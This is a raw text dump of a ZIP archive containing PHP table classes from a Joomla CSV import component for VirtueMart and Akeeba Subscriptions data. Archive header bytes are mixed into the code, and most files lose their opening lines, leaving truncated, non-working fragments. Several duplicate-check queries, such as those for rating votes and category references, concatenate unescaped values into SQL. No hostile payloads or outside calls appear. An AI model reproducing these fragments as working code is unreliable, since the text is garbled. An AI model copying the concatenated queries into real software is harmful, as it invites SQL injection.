no entry yet, so we must insert a new one return false; } } // There is already a rating id else return true; } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\ %6components/com_csvi/tables/com_virtuemart/products.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\x:components/com_csvi/tables/com_virtuemart/rating_votes.phpnuW+Avirtuemart_rating_vote_id)) { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); // Check if a record already exists in the database $q = "SELECT ".$this->_tbl_key." FROM ".$this->_tbl." WHERE virtuemart_product_id = '".$this->virtuemart_product_id."' AND created_by = ".$this->created_by; $db->setQuery($q); $db->query($q); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_RATING_VOTE_EXISTS'), true); if ($db->getAffectedRows() > 0) { $this->virtuemart_rating_vote_id = $db->loadResult(); return true; } else { // There is no entry yet, so we must insert a new one return false; } } // There is already a rating id else return true; } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\:components/com_csvi/tables/com_virtuemart/waitingusers.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } /** * Check if there is already a waiting list entry * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.1 */ public function check() { if (empty($this->virtuemart_waitinguser_id)) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $query->where('virtuemart_user_id = '.$this->virtuemart_user_id); $db->setQuery($query); $this->virtuemart_waitinguser_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_CHECKING_WAITINGLIST_EXISTS'), true); } } } ?> PK@y>\MD D Ecomponents/com_csvi/tables/com_virtuemart/product_categories_xref.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); // Check if the entry already exists if (!$this->checkDuplicate()) { $ret = $this->_db->insertObject( $this->_tbl, $this); $csvilog->addDebug(JText::_('COM_CSVI_ADD_NEW_CATEGORY_REFERENCES'), true); if (!$ret) { $this->setError(get_class($this).'::store failed - '.$this->_db->getErrorMsg()); return false; } else return true; } else return true; } /** * Check if the entry already exists */ private function checkDuplicate() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $q = "SELECT COUNT(*) AS total FROM ".$this->_tbl." WHERE virtuemart_product_id = ".$this->virtuemart_product_id." AND virtuemart_category_id = ".$this->virtuemart_category_id; $db->setQuery($q); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_IF_CATEGORY_REFERENCE_ALREADY_EXISTS'), true); $total = $db->loadResult(); if ($total > 0) { $csvilog->addDebug(JText::_('COM_CSVI_CATEGORY_REFERENCE_ALREADY_EXISTS')); return true; } else { $csvilog->addDebug(JText::_('COM_CSVI_CATEGORY_REFERENCE_DOES_NOT_YET_EXIST')); return false; } } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\ݛ< Ccomponents/com_csvi/tables/com_virtuemart/product_manufacturers.phpnuW+AgetQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('virtuemart_product_id = '.$db->Quote($this->virtuemart_product_id)); $query->where('virtuemart_manufacturer_id = '.$db->Quote($this->virtuemart_manufacturer_id)); $db->setQuery($query); $id = $db->loadResult(); if ($id > 0) { $this->id = $id; return true; } else return false; } /** * Store a manufacturer reference * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function store($updateNulls=false) { // First remove any existing references $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->delete($db->quoteName($this->_tbl)); $query->where($db->quoteName('virtuemart_product_id').' = '.$db->quote($this->virtuemart_product_id)); $db->setQuery($query); if ($db->query()) return parent::store($updateNulls); else return false; } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\L8components/com_csvi/tables/com_virtuemart/categories.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\?fgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\SC 9components/com_csvi/tables/com_virtuemart/order_items.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\YH5components/com_csvi/tables/com_virtuemart/vmusers.phpnuW+Avirtuemart_user_id)) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('COUNT('.$this->_tbl_key.') AS total'); $query->from($this->_tbl); $query->where($db->quoteName($this->_tbl_key).' = '.$db->Quote($this->virtuemart_user_id)); $db->setQuery($query); if ($db->loadResult() == 1) return true; else { $query = "INSERT IGNORE INTO ".$db->quoteName($this->_tbl)." (".$db->quoteName($this->_tbl_key).") VALUES (".$db->Quote($this->virtuemart_user_id).")"; $db->setQuery($query); $db->query(); return false; } } } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\.<components/com_csvi/tables/com_virtuemart/product_prices.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where($db->qn('virtuemart_product_id').' = '.$db->q($this->virtuemart_product_id)); $query->where($db->qn('virtuemart_shoppergroup_id').' = '.$db->q($this->virtuemart_shoppergroup_id)); $query->where($db->qn('product_currency').' = '.$db->q($this->product_currency)); $query->where($db->qn('price_quantity_start').' = '.$db->q($this->price_quantity_start)); $query->where($db->qn('price_quantity_end').' = '.$db->q($this->price_quantity_end)); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_VM_PRODUCT_PRICE'), true); $id = $db->loadResult(); if ($id) { $this->virtuemart_product_price_id = $id; $this->load($id); return true; } else return false; } /** * See if we can find a shopper group ID * * @copyright * @author RolandD * @todo * @see * @access * @param * @return array of shopper group IDs * @since 4.0 */ public function getShopperGroupID() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('virtuemart_shoppergroup_id'); $query->from($this->_tbl); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $db->setQuery($query); $shopper_groups = $db->loadResultArray(); $csvilog->addDebug(JText::_('COM_CSVI_VM_PRODUCT_PRICE_SHOPPER_GROUP'), true); return $shopper_groups; } /** * This function calculates the new price by adding the uploaded value * to the current price * * Prices can be calculated with: * - Add (+) * - Subtract (-) * - Divide (/) * - Multiply (*) * * Add and subtract support percentages * * @todo logging */ public function CalculatePrice() { // Get the operation $operation = substr($this->product_price, 0, 1); if (strstr('+-/*', $operation)) { // Get the price value $modify = $this->product_price; // Clone the current instance as we don't want the DB values overwrite the uploaded values */ $newprice = clone $this; // Get the current price in the database $newprice->check(); $newprice->load($this->virtuemart_product_price_id); $this->virtuemart_product_price_id = $newprice->virtuemart_product_price_id; // Set the price to calculate with $price = $newprice->product_price; // Check if we have a percentage value if (substr($modify, -1) == '%') { $modify = substr($modify, 0, -1); $percent = true; } else $percent = false; // Get the price value $value = substr($modify, 1); // Check what modification we need to do and apply it switch ($operation) { case '+': if ($percent) $price += $price* ($value/100); else $price += $value; break; case '-': if ($percent) $price -= $price* ($value/100); else $price -= $value; break; case '/': $price /= $value; break; case '*': $price*= $value; break; default: // Assign the current price to prevent it being overwritten $price = $this->product_price; break; } // Set the new price $this->product_price = $price; } } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } }PK@y>\V]z4ii=components/com_csvi/tables/com_virtuemart/category_medias.phpnuW+AgetQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('virtuemart_category_id = '.$db->Quote($this->virtuemart_category_id)); $query->where('virtuemart_media_id = '.$db->Quote($this->virtuemart_media_id)); $db->setQuery($query); $id = $db->loadResult(); if ($id > 0) return true; else return false; } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\#o,,4components/com_csvi/tables/com_virtuemart/index.htmlnuW+APK@y>\I8Ccomponents/com_csvi/tables/com_virtuemart/product_shoppergroups.phpnuW+AgetQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('virtuemart_product_id = '.$this->virtuemart_product_id); $query->where('virtuemart_shoppergroup_id = '.$this->virtuemart_shoppergroup_id); $db->setQuery($query); $id = $db->loadResult(); if ($id) return true; else return false; } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } }PK@y>\#<components/com_csvi/tables/com_virtuemart/rating_reviews.phpnuW+Avirtuemart__rating_review_id)) { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); // Check if a record already exists in the database $q = "SELECT ".$this->_tbl_key." FROM ".$this->_tbl." WHERE virtuemart_product_id = '".$this->virtuemart_product_id."' AND created_by = ".$this->created_by; $db->setQuery($q); $db->query($q); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_RATING_REVIEW_EXISTS'), true); if ($db->getAffectedRows() > 0) { $this->virtuemart_rating_id = $db->loadResult(); return true; } else { // There is no entry yet, so we must insert a new one return false; } } // There is already a rating id else return true; } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\E'Jcomponents/com_csvi/tables/com_virtuemart/manufacturer_categories_lang.phpnuW+Ainput; $template = $jinput->get('template', null, null); parent::__construct('#__virtuemart_manufacturercategories_'.$template->get('language', 'general'), 'virtuemart_manufacturercategories_id', $db ); } /** * Check if the manufacturer category exists * * @copyright * @author RolandD * @todo * @see * @access public * @param bool $create Set true if a dummy entry needs to be added * @return * @since 4.0 */ public function check($create = true) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); if (!empty($this->virtuemart_manufacturercategories_id)) { $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where($db->qn($this->_tbl_key).' = '.$db->q($this->virtuemart_manufacturercategories_id)); $db->setQuery($query); $id = $db->loadResult(); if ($id > 0) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURERCATEGORY_EXISTS'), true); return true; } else { if ($create) { // Create a dummy entry for updating $query = "INSERT IGNORE INTO ".$this->_tbl." (".$db->qn($this->_tbl_key).") VALUES (".$db->q($this->virtuemart_manufacturercategories_id).")"; $db->setQuery($query); if ($db->query()) return true; else { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURERCATEGORY_NOT_EXISTS'), true); return false; } } else return false; } } else { $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('mf_category_name = '.$db->q($this->mf_category_name)); $db->setQuery($query); $id = $db->loadResult(); if ($id > 0) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURERCATEGORY_EXISTS'), true); $this->virtuemart_manufacturercategories_id = $id; return true; } else { if ($create) { // Create a dummy entry for updating $query = "INSERT IGNORE INTO ".$this->_tbl." (".$db->qn($this->_tbl_key).") VALUES (".$db->q($this->virtuemart_manufacturercategories_id).")"; $db->setQuery($query); if ($db->query()) { $this->virtuemart_manufacturercategories_id = $db->insertid(); return true; } else { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURERCATEGORY_NOT_EXISTS'), true); return false; } } else { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURERCATEGORY_NOT_EXISTS'), true); return false; } } } } /** * Create a slug if needed and store the product * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function store() { if (empty($$this->_tbl_key)) { // Create the slug $this->slug = Com_virtuemart::createSlug($this->mf_category_name); } return parent::store(); } /** * Reset the table fields, need to do it ourselves as the fields default is not NULL * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } }PK@y>\[v=components/com_csvi/tables/com_virtuemart/order_userinfos.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\@Y=components/com_csvi/tables/com_virtuemart/order_histories.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\9#s%%;components/com_csvi/tables/com_virtuemart/products_lang.phpnuW+Ainput; $template = $jinput->get('template', null, null); parent::__construct('#__virtuemart_products_'.$template->get('language', 'general'), 'virtuemart_product_id', $db); } /** * Check if the product ID exists * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function check() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where($db->quoteName($this->_tbl_key). ' = '.$this->virtuemart_product_id); $db->setQuery($query); $id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_PRODUCT_LANG'), true); if (empty($id)) { if (empty($this->slug)) $this->createSlug(); if (!empty($this->slug)) { // Create a dummy entry for updating $query = "INSERT INTO ".$this->_tbl." (".$db->qn($this->_tbl_key).", ".$db->qn('slug').") VALUES (".$db->q($this->virtuemart_product_id).", ".$db->q($this->slug).")"; $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_ADD_PRODUCT_LANG'), true); if ($db->query()) { // Get the last inserted ID $query = $db->getQuery(true) ->select($this->_tbl_key) ->from($this->_tbl) ->where($db->qn('slug').' = '.$db->q($this->slug)); $db->setQuery($query); $id = $db->loadResult(); $this->virtuemart_product_id = $id; return true; } } else return false; } else return true; } /** * Validate a slug * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function createSlug() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Create the slug $this->slug = Com_virtuemart::createSlug($this->product_name); // Check if the slug exists $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('COUNT('.$db->qn($this->_tbl_key).')') ->from($this->_tbl) ->where($db->qn('slug').' = '.$db->q($this->slug)) ->where($db->qn($this->_tbl_key).' != '.$db->q($this->virtuemart_product_id)); $db->setQuery($query); $slugs = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_PRODUCT_SLUG'), true); if ($slugs > 0) { $jdate = JFactory::getDate(); $this->slug .= $jdate->format("Y-m-d-h-i-s").mt_rand(); } } /** * Reset the table fields, need to do it ourselves as the fields default is not NULL * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } }PK@y>\&Ҡ8components/com_csvi/tables/com_virtuemart/userfields.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\ ċ ;components/com_csvi/tables/com_virtuemart/manufacturers.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where($db->qn($this->_tbl_key).' = '.$db->q($this->virtuemart_manufacturer_id)); $db->setQuery($query); $id = $db->loadResult(); if ($id > 0) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURER_EXISTS'), true); return true; } else { // Find the default category $query = $db->getQuery(true) ->select('MIN('.($db->qn('virtuemart_manufacturercategories_id').')')) ->from($db->qn('#__virtuemart_manufacturercategories')) ->where($db->qn('published').'=1'); $db->setQuery($query); $this->virtuemart_manufacturercategories_id = $db->loadResult(); // Create a dummy entry for updating $query->insert($this->_tbl) ->columns(array($this->_tbl_key.','.$db->qn('virtuemart_manufacturercategories_id'))) ->values($db->q($this->virtuemart_manufacturer_id).','.$db->q($this->virtuemart_manufacturercategories_id)); $db->setQuery($query); if ($db->query()) { $this->virtuemart_manufacturer_id = $db->insertid(); return true; } else { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURER_NOT_EXISTS'), true); return false; } } } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } }PK@y>\4components/com_csvi/tables/com_virtuemart/medias.phpnuW+AgetQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('file_url = '.$db->Quote($this->file_url)); $db->setQuery($query); $id = $db->loadResult(); if ($id > 0) { $this->virtuemart_media_id = $id; return true; } else return false; } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\&'x|YY<components/com_csvi/tables/com_virtuemart/product_medias.phpnuW+AgetQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('virtuemart_product_id = '.$db->Quote($this->virtuemart_product_id)); $query->where('virtuemart_media_id = '.$db->Quote($this->virtuemart_media_id)); $db->setQuery($query); $id = $db->loadResult(); if ($id > 0) return true; else return false; } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\+5components/com_csvi/tables/com_virtuemart/customs.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } /** * Check if there is already a waiting list entry * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.1 */ public function check() { if (empty($this->virtuemart_custom_id)) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('custom_element = '.$db->Quote($this->custom_element)); $query->where('custom_title = '.$db->Quote($this->custom_title)); $db->setQuery($query); $this->virtuemart_custom_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_CHECKING_CUSTOMFIELD_EXISTS'), true); } } } ?> PK@y>\3q q 3components/com_csvi/tables/com_virtuemart/calcs.phpnuW+Ainput; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); if ($this->calc_value) { // Check if the amount exists in the database $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where($db->quoteName('calc_kind').' = '.$db->quote($this->calc_kind)); $query->where($db->quoteName('calc_value_mathop').' = '.$db->quote($this->calc_value_mathop)); $query->where($db->quoteName('calc_value').' BETWEEN '.$db->quote(($this->calc_value-0.1)).' AND '.$db->quote(($this->calc_value+0.1))); if (!empty($this->publish_up)) $query->where('publish_up = '.$db->Quote($this->publish_up)); if (!empty($this->publish_down)) $query->where('publish_down = '.$db->Quote($this->publish_down)); $db->setQuery($query); $ids = $db->loadColumn(); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_CALC_EXISTS'), true); // There are multiple discount ids, we take the first one if (count($ids) > 0) { $csvilog->addDebug(JText::sprintf('COM_CSVI_USE_CALC_ID', $ids[0])); $this->virtuemart_calc_id = $ids[0]; return true; } else { $this->virtuemart_calc_id = null; return false; } } return false; } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\Nb=components/com_csvi/tables/com_virtuemart/categories_lang.phpnuW+Ainput; $template = $jinput->get('template', null, null); if ($template->get('operation', 'options') == 'categoryimport') { if ($template->get('language', 'general') == $template->get('target_language', 'general')) $lang = $template->get('language', 'general'); else $lang = $template->get('target_language', 'general'); } else $lang = $template->get('language', 'general'); parent::__construct('#__virtuemart_categories_'.$lang, 'virtuemart_category_id', $db); } /** * Check if the category ID exists * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function check() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where($db->quoteName($this->_tbl_key). ' = '.$this->virtuemart_category_id); $db->setQuery($query); $id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_CATEGORY_LANG'), true); if (!$id) { if (empty($this->slug)) $this->_validateSlug(); if (!empty($this->slug)) { // Create a dummy entry for updating $query = "INSERT INTO ".$this->_tbl." (".$db->quoteName($this->_tbl_key).", ".$db->quoteName('slug').") VALUES (".$db->Quote($this->virtuemart_category_id).", ".$db->Quote($this->slug).")"; $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_ADD_CATGEGORY_LANG'), true); if ($db->query()) return true; else return false; } else return false; } else return true; } /** * Create a slug if needed and store the product * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function store() { if (empty($this->slug)) { // Create the slug $this->_validateSlug(); } return parent::store(); } /** * Validate a slug * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ private function _validateSlug() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Create the slug $this->slug = Com_virtuemart::createSlug($this->category_name); // Check if the slug exists $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('COUNT('.$db->Quote($this->_tbl_key).')'); $query->from($this->_tbl); $query->where($db->quoteName('slug').' = '.$db->Quote($this->slug)); $db->setQuery($query); $slugs = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_CATGEGORY_SLUG'), true); if ($slugs > 0) { $jdate = JFactory::getDate(); $this->slug .= $jdate->format("Y-m-d-h-i-s").mt_rand(); } } /** * Reset the table fields, need to do it ourselves as the fields default is not NULL * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\狏5components/com_csvi/tables/csvi_template_settings.phpnuW+APK@y>\::4components/com_csvi/tables/csvi_available_fields.phpnuW+APK@y>\|;;*components/com_csvi/tables/csvimproved.phpnuW+AloadArray($array['params']); $array['params'] = $registry->toString(); } return parent::bind($array, $ignore); } } ?>PK@y>\iA008components/com_csvi/tables/com_akeebasubs/affiliates.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } /** * Check if the affiliate already exists * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function check() { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName($this->_tbl_key)); $query->from($db->quoteName($this->_tbl)); $query->where($db->quoteName('user_id').' = '.$db->quote($this->user_id)); $db->setQuery($query); $this->akeebasubs_affiliate_id = $db->loadResult(); if ($this->akeebasubs_affiliate_id > 0) return true; else return false; } } ?> PK@y>\#o,,4components/com_csvi/tables/com_akeebasubs/index.htmlnuW+APK@y>\R 9components/com_csvi/tables/com_akeebasubs/affpayments.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } /** * Check if a payment has already been made * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function check() { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName($this->_tbl_key)); $query->from($db->quoteName($this->_tbl)); $query->where($db->quoteName('akeebasubs_affiliate_id').' = '.$db->quote($this->akeebasubs_affiliate_id)); $query->where($db->quoteName('created_on').' = '.$db->quote($this->created_on)); $db->setQuery($query); $id = $db->loadResult(); if ($id > 0) return false; else return true; } /** * Delete affiliate payments * * @copyright * @author RolandD * @todo * @see * @access public * @param int $user_id the ID of the affiliate * @return * @since 4.0 */ public function delete($user_id) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->delete($db->quoteName($this->_tbl)); $query->where($db->quoteName('akeebasubs_affiliate_id').' = '.$db->quote($user_id)); $db->setQuery($query); if ($db->query()) return true; else return false; } } ?> PK@y>\ǵ5components/com_csvi/tables/com_akeebasubs/coupons.phpnuW+Aakeebasubs_coupon_id)) return true; else { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('coupon ='.$db->Quote($this->coupon)); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_COUPON_CODE_EXISTS'), true); $db->query(); if ($db->getAffectedRows() > 0) { $this->akeebasubs_coupon_id = $db->loadResult(); } } } /** * Reset the table fields, need to do it ourselves as the fields default is not NULL * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?> PK@y>\^4T;components/com_csvi/tables/com_akeebasubs/subscriptions.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?> PK@y>\)3components/com_csvi/tables/com_akeebasubs/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)$components/com_csvi/tables/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ (components/com_csvi/tables/csvi_logs.phpnuW+A $value) { if (substr($name, 0, 1) != '_') $this->$name = $value; } } } ?>PK@y>\-4components/com_csvi/tables/com_csvi/custom_table.phpnuW+Ainput; $template = $jinput->get('template', null, null); // Find which table we are importing $tbl = $template->get('custom_table'); // Find the primare key for this table $pk = CsviHelper::getPrimaryKey($tbl); parent::__construct('#__'.$tbl, $pk, $db); } /** * Reset the table fields, need to do it ourselves as the fields default is not NULL * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\)-components/com_csvi/tables/com_csvi/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,.components/com_csvi/tables/com_csvi/index.htmlnuW+APK@y>\22/components/com_csvi/controllers/maintenance.phpnuW+AgetView('maintenance', 'html'); // Standard model $view->setModel( $this->getModel( 'maintenance', 'CsviModel' ), true ); // Extra models $view->setModel( $this->getModel( 'log', 'CsviModel' )); $view->setModel( $this->getModel( 'availablefields', 'CsviModel' )); // View if (!JRequest::getBool('cron', false)) { if (JRequest::getInt('run_id') > 0) $view->setLayout('log'); } else $view->setLayout('cron'); // Now display the view $view->display(); } /** * Redirect to the log screen * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.3 */ private function _outputHtml() { $this->setRedirect('index.php?option=com_csvi&task=maintenance.maintenance&run_id='.JRequest::getInt('import_id')); } /** * Handle the cron output * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.3 */ private function _outputCron() { // Create the view object $view = 